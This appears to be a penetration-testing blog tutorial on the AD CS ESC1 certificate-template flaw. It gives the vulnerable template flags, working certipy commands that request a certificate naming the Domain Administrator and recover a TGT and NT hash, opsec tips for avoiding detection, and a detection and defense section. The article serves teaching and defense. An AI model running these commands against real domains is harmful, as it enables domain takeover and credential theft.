Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Active Directory Certificate Services (AD CS) is Microsoft’s enterprise PKI, and certificate templates are the reusable policies that decide who may enroll for what kind of certificate. ESC1 is the first and most iconic of the certificate-template misconfigurations catalogued in SpecterOps’ 2021 ‘Certified Pre-Owned’ research. It occurs when a template lets a low-privileged enrollee supply their own subject — specifically a Subject Alternative Name (SAN) — while also issuing a certificate valid for client authentication, with no manager approval standing in the way. The result is domain-wide account takeover: an ordinary user requests a certificate that names the Domain Administrator, then logs in as them.
The reason ESC1 is so severe is that a certificate is a portable, long-lived credential that Kerberos will honour via PKINIT. Unlike a stolen password, a certificate cannot be trivially rotated, survives password changes, and by default remains valid for a year or more. One vulnerable template exposed to ‘Domain Users’ collapses the entire domain’s trust boundary, which is why certipy’s find -vulnerable flags it in red and why AD CS review is now a standard phase of every internal assessment.
Attack Prerequisites
ESC1 requires an enterprise CA publishing a template that simultaneously satisfies every one of the following conditions — remove any one and the attack fails:
- Enrollment rights for a principal you control — the template’s security descriptor grants Enroll (and the CA grants enroll) to a low-privileged group such as
Domain UsersorAuthenticated Users. - Enrollee-supplied subject — the template sets the
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECTbit inmsPKI-Certificate-Name-Flag, so the requester dictates the SAN rather than the CA building it from AD. - An authentication EKU — the template’s Extended Key Usage includes Client Authentication (1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (1.3.6.1.4.1.311.20.2.2), or Any Purpose / no EKU restriction.
- No manager approval —
CT_FLAG_PEND_ALL_REQUESTSis not set inmsPKI-Enrollment-Flag, so certificates issue automatically. - No ‘authorized signature’ requirement — the template does not demand an enrollment agent co-signature (
msPKI-RA-Signature= 0).
How It Works
When a certificate is used to authenticate to Active Directory — over PKINIT for Kerberos, or Schannel for LDAPS — the KDC maps the certificate to an account. For enterprise templates the CA normally *builds* the subject and SAN from the requesting account’s AD attributes, so identity is anchored to who you already are. The enrollee-supplies-subject flag inverts that: the requester places an arbitrary otherName/UPN into the SAN of the CSR, and the CA copies it verbatim into the issued certificate. Identity is now attacker-asserted rather than CA-derived.
The KDC, on receiving a PKINIT request, reads the UPN from the certificate’s SAN and issues a TGT for whatever account owns that UPN. Nothing checks that the *enrollee* was that account — the certificate is trusted because it chains to a CA in the NTAuth store. So a certificate whose SAN says administrator@corp.local, requested by jdoe, authenticates as the Domain Administrator. The Client Authentication EKU is what makes the certificate acceptable for that logon; without an auth EKU the KDC/Schannel would reject it (that distinction is the difference between ESC1 and the enrollment-agent variant ESC3, or the EKU-less ESC2).
Everything downstream flows from that single SAN substitution. Because the certificate is a bearer credential valid for the template’s lifetime, the attacker keeps privileged access independent of the target’s password, and — via the PKINIT PAC — can additionally recover the target’s NT hash with an UnPAC-the-hash step, exactly as in the Shadow Credentials chain.
Vulnerable Configuration: The Template Flags
Certipy’s find distils the raw LDAP template object into the exact properties that matter. A textbook ESC1 template looks like this — note the enrollee-supplied subject, the Client Authentication EKU, disabled manager approval, and enrollment open to Domain Users:
Certificate Templates
0
Template Name : ESC1-UserAuth
Enabled : True
Client Authentication : True
Enrollee Supplies Subject : True
Requires Manager Approval : False
Authorized Signatures Required : 0
Extended Key Usage : Client Authentication
Permissions
Enrollment Permissions
Enrollment Rights : CORP.LOCAL\Domain Users
[!] Vulnerabilities
ESC1 : Enrollee supplies subject and can request client-auth certs
TEXTUnderneath, ESC1 is two attribute values on the template object in the Configuration partition. The name flag carries the enrollee-supplies-subject bit (0x00000001) and the enrollment flag lacks the pend-all-requests bit — the raw LDAP attributes look like this:
CN=ESC1-UserAuth,CN=Certificate Templates,CN=Public Key Services,
CN=Services,CN=Configuration,DC=corp,DC=local
msPKI-Certificate-Name-Flag : 0x1 # CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
msPKI-Enrollment-Flag : 0x0 # PEND_ALL_REQUESTS (0x2) NOT set
msPKI-RA-Signature : 0 # no enrollment-agent co-sign
pKIExtendedKeyUsage : 1.3.6.1.5.5.7.3.2 # Client Authentication
TEXTThe CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT bit combined with an authentication EKU is the entire bug: it lets any enrollee assert an arbitrary identity in a credential the domain will trust.
Walkthrough / Exploitation
First enumerate the PKI and let certipy flag vulnerable templates. Running as any domain user is sufficient:
# Enumerate CAs and templates; -vulnerable filters to abusable ones.
certipy find -u jdoe@corp.local -p 'Passw0rd!' \
-dc-ip 10.10.10.10 -vulnerable -stdout
BashRequest a certificate from the vulnerable template, injecting the target identity into the SAN with -upn. Certipy submits the CSR to the CA and saves the issued certificate and private key as a .pfx:
# Ask the CA for a cert whose SAN names the Domain Administrator.
certipy req -u jdoe@corp.local -p 'Passw0rd!' -dc-ip 10.10.10.10 \
-ca 'CORP-CA' -template 'ESC1-UserAuth' \
-upn administrator@corp.local
# -> saves administrator.pfx
BashAuthenticate with the certificate. certipy auth performs the PKINIT exchange, returns a TGT, and — because the PAC carries the NTLM secret — prints the target’s NT hash as well:
# PKINIT with the forged-SAN cert -> TGT + NT hash for the target.
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
# -> [*] Got TGT ; [*] Got hash for 'administrator@corp.local': aad3b...:<NT>
BashFrom here the TGT (saved as a ccache) or the recovered hash drives onward movement — DCSync, a pass-the-hash to the DC, or a pass-the-ticket for any service. When targeting a machine account, request with -dns/-dc appropriate to the SAN type; the same flow yields impersonation of a computer.
Note: ESC1 is defined by the *enrollee* supplying the SAN. Its close cousins differ by exactly one condition: ESC2 uses an Any-Purpose or SubCA EKU instead of client-auth; ESC3 abuses the Certificate Request Agent EKU to enroll on behalf of others; and ESC15/CVE-2024-49019 abused v1 ‘EnrollmentAgent’ schema templates to inject application policies. Confirm which one you actually have before choosing the request syntax.
Opsec: Every issued certificate is recorded in the CA database and can be revoked by an administrator, but revocation does not retroactively invalidate a TGT you already obtained. Requesting a cert for a highly privileged UPN is a strong IOC; where possible target a mid-tier account that still reaches your objective, and remember the cert remains a valid credential across the target’s password changes until it expires or the CA cert is rotated.
Detection and Defense
Detection combines CA-side issuance logging with directory monitoring of template ACLs; defense is to remove the dangerous flag combination outright:
- Event ID 4886 / 4887 on the CA (certificate requested / issued) — alert on issuance from enrollee-supplies-subject templates and on SANs that name privileged accounts.
- Event ID 4768 — Kerberos TGT requests using certificate pre-auth; correlate against your known smart-card / PKINIT population.
- Remove
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECTon any template that also has an authentication EKU, or require manager approval (CT_FLAG_PEND_ALL_REQUESTS) / an enrollment-agent signature. - Tighten enrollment rights — do not grant Enroll to Domain Users / Authenticated Users on client-auth templates; scope to a controlled group.
- Enable strong certificate mapping — deploy the KB5014754 SID-in-certificate (szOID 1.3.6.1.4.1.311.25.2) enforcement so a SAN cannot silently impersonate an account, and audit the NTAuth store.
- Run certipy
find -vulnerable/ PSPKIAudit regularly and treat any ESC1 finding as critical.
Real-World Impact
ESC1 was introduced in Will Schroeder and Lee Christensen’s June 2021 ‘Certified Pre-Owned’ whitepaper, which catalogued the ESC1-ESC8 family and spawned Certipy and the AD CS ingestor in BloodHound. It has since been one of the most reliably impactful findings on internal engagements, because enterprise PKIs accumulate over-permissive templates over years and a single one exposed to Domain Users yields immediate domain compromise. Microsoft’s response — the KB5014754 phased hardening of certificate-based authentication and strong SID mapping — directly targets the SAN-impersonation primitive that ESC1 depends on.
Conclusion
ESC1 is the canonical AD CS escalation: an authentication-capable template that lets ordinary users write their own SAN turns the enterprise PKI into a domain-admin vending machine. The fix is unambiguous — never combine enrollee-supplied subjects with a client-authentication EKU on a template enrollable by low-privileged users, require approval where subjects are flexible, and enforce strong SID-based certificate mapping. Audit templates with certipy on a schedule, because in AD CS one misconfigured object is all an attacker needs.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments